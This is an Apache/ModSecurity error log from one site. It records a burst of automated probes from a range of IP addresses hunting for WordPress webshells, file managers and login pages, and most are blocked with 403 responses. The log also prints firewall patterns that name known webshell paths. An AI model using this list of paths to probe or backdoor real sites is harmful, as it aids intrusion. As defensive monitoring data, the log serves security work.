[Sun Nov 23 08:37:08.022661 2025] [:error] [pid 38739:tid 38788] [client 141.11.36.59:45473] [client 141.11.36.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.11.36.59, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSJXNAdvEgJm2n2cDmpaJgAAAFM"]
[Sun Nov 23 08:37:10.458700 2025] [:error] [pid 38739:tid 38787] [client 141.11.36.59:45473] [client 141.11.36.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSJXNgdvEgJm2n2cDmpaNAAAAFI"]
[Sun Nov 23 08:37:17.142902 2025] [:error] [pid 44652:tid 44724] [client 141.11.36.62:28311] [client 141.11.36.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSJXPdiQFwsyXQDhwyAHKwAAARI"]
[Sun Nov 23 08:37:26.691516 2025] [:error] [pid 38738:tid 38766] [client 141.11.36.89:52085] [client 141.11.36.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSJXRgytc6TL9XavPmMSRQAAABg"]
[Sun Nov 23 08:37:27.570061 2025] [:error] [pid 38824:tid 38844] [client 141.11.36.76:41997] [client 141.11.36.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSJXR08WZjXLvbHTHPcFtwAAANE"]
[Sun Nov 23 08:37:28.520859 2025] [:error] [pid 38740:tid 38805] [client 141.11.36.66:47173] [client 141.11.36.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSJXSA13QPZSi6O8umXWmgAAAIk"]
[Sun Nov 23 08:37:29.338625 2025] [:error] [pid 38824:tid 38851] [client 141.11.36.64:30875] [client 141.11.36.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSJXSU8WZjXLvbHTHPcFugAAANg"]
[Sun Nov 23 08:37:31.702762 2025] [:error] [pid 38740:tid 38800] [client 141.11.36.59:59145] [client 141.11.36.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.59, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSJXSw13QPZSi6O8umXWowAAAIQ"]
[Sun Nov 23 08:37:39.442767 2025] [:error] [pid 38740:tid 38806] [client 141.11.36.59:59145] [client 141.11.36.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSJXUw13QPZSi6O8umXWsgAAAIo"]
[Sun Nov 23 08:37:41.716020 2025] [:error] [pid 38738:tid 38746] [client 141.11.36.99:53269] [client 141.11.36.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.99, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSJXVQytc6TL9XavPmMSWgAAAAQ"]
[Sun Nov 23 08:37:45.363216 2025] [:error] [pid 38738:tid 38764] [client 141.11.36.99:53269] [client 141.11.36.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSJXWQytc6TL9XavPmMSZAAAABY"]
[Sun Nov 23 08:37:46.239016 2025] [:error] [pid 38738:tid 38753] [client 141.11.36.86:65211] [client 141.11.36.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSJXWgytc6TL9XavPmMSZgAAAAs"]
[Sun Nov 23 08:37:48.025092 2025] [proxy_fcgi:error] [pid 38824:tid 38832] [client 141.11.36.67:35045] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:37:51.111344 2025] [proxy_fcgi:error] [pid 38824:tid 38847] [client 141.11.36.67:35045] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:37:58.969635 2025] [:error] [pid 38824:tid 38835] [client 141.11.36.67:35045] [client 141.11.36.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSJXZk8WZjXLvbHTHPcF9wAAAMg"]
[Sun Nov 23 08:38:02.617509 2025] [:error] [pid 38739:tid 38769] [client 141.11.36.66:62359] [client 141.11.36.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSJXagdvEgJm2n2cDmpazAAAAEA"]
[Sun Nov 23 08:38:05.026678 2025] [:error] [pid 38738:tid 38764] [client 141.11.36.85:24561] [client 141.11.36.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSJXbQytc6TL9XavPmMSfgAAABY"]
[Sun Nov 23 08:38:08.182155 2025] [:error] [pid 44652:tid 44719] [client 141.11.36.82:60251] [client 141.11.36.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSJXcNiQFwsyXQDhwyAHsgAAAQ0"]
[Sun Nov 23 08:38:10.095389 2025] [:error] [pid 38740:tid 38818] [client 141.11.36.75:42165] [client 141.11.36.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSJXcg13QPZSi6O8umXW3AAAAJY"]
[Sun Nov 23 08:38:11.873688 2025] [:error] [pid 38738:tid 38757] [client 141.11.36.81:57397] [client 141.11.36.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.81, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSJXcwytc6TL9XavPmMSgwAAAA8"]
[Sun Nov 23 08:38:13.142420 2025] [:error] [pid 38738:tid 38758] [client 141.11.36.81:57397] [client 141.11.36.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSJXdQytc6TL9XavPmMShwAAABA"]
[Sun Nov 23 08:38:17.084253 2025] [:error] [pid 38740:tid 38807] [client 141.11.36.75:59793] [client 141.11.36.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSJXeQ13QPZSi6O8umXW5wAAAIs"]
[Sun Nov 23 08:38:18.991967 2025] [:error] [pid 44652:tid 44728] [client 141.11.36.103:30853] [client 141.11.36.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSJXetiQFwsyXQDhwyAH1wAAARY"]
[Sun Nov 23 08:38:22.235396 2025] [:error] [pid 38739:tid 38774] [client 141.11.36.91:29895] [client 141.11.36.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSJXfgdvEgJm2n2cDmpa9AAAAEU"]
[Sun Nov 23 08:38:29.598833 2025] [:error] [pid 38738:tid 38747] [client 141.11.36.69:24271] [client 141.11.36.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSJXhQytc6TL9XavPmMSngAAAAU"]
[Sun Nov 23 08:38:31.009343 2025] [:error] [pid 38738:tid 38751] [client 141.11.36.69:24271] [client 141.11.36.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSJXhwytc6TL9XavPmMSoQAAAAk"]
[Sun Nov 23 08:38:32.024987 2025] [:error] [pid 38738:tid 38744] [client 141.11.36.91:54765] [client 141.11.36.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSJXiAytc6TL9XavPmMSpQAAAAI"]
[Sun Nov 23 08:38:37.812532 2025] [:error] [pid 38824:tid 38829] [client 141.11.36.70:61939] [client 141.11.36.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSJXjU8WZjXLvbHTHPcGKgAAAMI"]
[Sun Nov 23 08:38:39.720527 2025] [:error] [pid 44652:tid 44719] [client 141.11.36.96:64179] [client 141.11.36.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSJXj9iQFwsyXQDhwyAH8AAAAQ0"]
[Sun Nov 23 08:38:40.568208 2025] [:error] [pid 38738:tid 38749] [client 141.11.36.61:37059] [client 141.11.36.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSJXkAytc6TL9XavPmMSqAAAAAc"]
[Sun Nov 23 08:38:42.470381 2025] [:error] [pid 38824:tid 38834] [client 141.11.36.63:39649] [client 141.11.36.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSJXkk8WZjXLvbHTHPcGMwAAAMc"]
[Sun Nov 23 08:38:43.332699 2025] [:error] [pid 38738:tid 38745] [client 141.11.36.101:55205] [client 141.11.36.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSJXkwytc6TL9XavPmMSrAAAAAM"]
[Sun Nov 23 08:38:46.526126 2025] [:error] [pid 38740:tid 38820] [client 141.11.36.80:33633] [client 141.11.36.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSJXlg13QPZSi6O8umXXCAAAAJg"]
[Sun Nov 23 08:38:49.425220 2025] [:error] [pid 44652:tid 44727] [client 141.11.36.103:56515] [client 141.11.36.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSJXmdiQFwsyXQDhwyAIAAAAARU"]
[Sun Nov 23 08:38:51.386165 2025] [:error] [pid 38740:tid 38819] [client 141.11.36.102:42453] [client 141.11.36.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSJXmw13QPZSi6O8umXXEQAAAJc"]
[Sun Nov 23 08:38:52.942659 2025] [:error] [pid 38738:tid 38761] [client 141.11.36.64:63155] [client 141.11.36.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSJXnAytc6TL9XavPmMStwAAABM"]
[Sun Nov 23 08:38:55.221118 2025] [:error] [pid 44652:tid 44714] [client 141.11.36.96:37211] [client 141.11.36.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSJXn9iQFwsyXQDhwyAICAAAAQg"]
[Sun Nov 23 08:38:56.141680 2025] [:error] [pid 44652:tid 44727] [client 141.11.36.79:22397] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSJXoNiQFwsyXQDhwyAICgAAARU"]
[Sun Nov 23 08:38:57.592765 2025] [:error] [pid 38739:tid 38787] [client 141.11.36.101:24509] [client 141.11.36.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSJXoQdvEgJm2n2cDmpbFQAAAFI"]
[Sun Nov 23 08:38:59.802873 2025] [:error] [pid 38738:tid 38748] [client 141.11.36.72:23535] [client 141.11.36.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSJXowytc6TL9XavPmMSygAAAAY"]
[Sun Nov 23 08:39:01.451310 2025] [:error] [pid 38738:tid 38746] [client 141.11.36.72:23535] [client 141.11.36.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSJXpQytc6TL9XavPmMSzgAAAAQ"]
[Sun Nov 23 08:39:03.488112 2025] [:error] [pid 38738:tid 38753] [client 141.11.36.58:23185] [client 141.11.36.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSJXpwytc6TL9XavPmMS0AAAAAs"]
[Sun Nov 23 08:39:10.554681 2025] [:error] [pid 38739:tid 38769] [client 141.11.36.61:56093] [client 141.11.36.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.61, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSJXrgdvEgJm2n2cDmpbJQAAAEA"]
[Sun Nov 23 08:39:11.027063 2025] [:error] [pid 38739:tid 38791] [client 141.11.36.61:56093] [client 141.11.36.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSJXrwdvEgJm2n2cDmpbJgAAAFY"]
[Sun Nov 23 08:39:12.867400 2025] [:error] [pid 38740:tid 38802] [client 141.11.36.103:65253] [client 141.11.36.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSJXsA13QPZSi6O8umXXIgAAAIY"]
[Sun Nov 23 08:39:14.865292 2025] [:error] [pid 38740:tid 38801] [client 141.11.36.79:50683] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSJXsg13QPZSi6O8umXXJgAAAIU"]
[Sun Nov 23 08:39:18.287311 2025] [:error] [pid 38738:tid 38749] [client 141.11.36.106:22373] [client 141.11.36.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSJXtgytc6TL9XavPmMS5wAAAAc"]
[Sun Nov 23 08:39:26.686528 2025] [:error] [pid 38739:tid 38789] [client 141.11.36.75:54977] [client 141.11.36.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSJXvgdvEgJm2n2cDmpbQwAAAFQ"]
[Sun Nov 23 08:39:29.895493 2025] [:error] [pid 44652:tid 44711] [client 141.11.36.77:53645] [client 141.11.36.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSJXwdiQFwsyXQDhwyAIIgAAAQU"]
[Sun Nov 23 08:39:33.951464 2025] [:error] [pid 38824:tid 38837] [client 141.11.36.69:25363] [client 141.11.36.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSJXxU8WZjXLvbHTHPcGkgAAAMo"]
[Sun Nov 23 08:39:37.258471 2025] [:error] [pid 38739:tid 38782] [client 141.11.36.67:53959] [client 141.11.36.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSJXyQdvEgJm2n2cDmpbWAAAAE0"]
[Sun Nov 23 08:39:39.538647 2025] [:error] [pid 38738:tid 38748] [client 141.11.36.71:50715] [client 141.11.36.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSJXywytc6TL9XavPmMTLwAAAAY"]
[Sun Nov 23 08:39:40.891900 2025] [:error] [pid 38740:tid 38803] [client 141.11.36.72:24465] [client 141.11.36.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSJXzA13QPZSi6O8umXXrgAAAIc"]
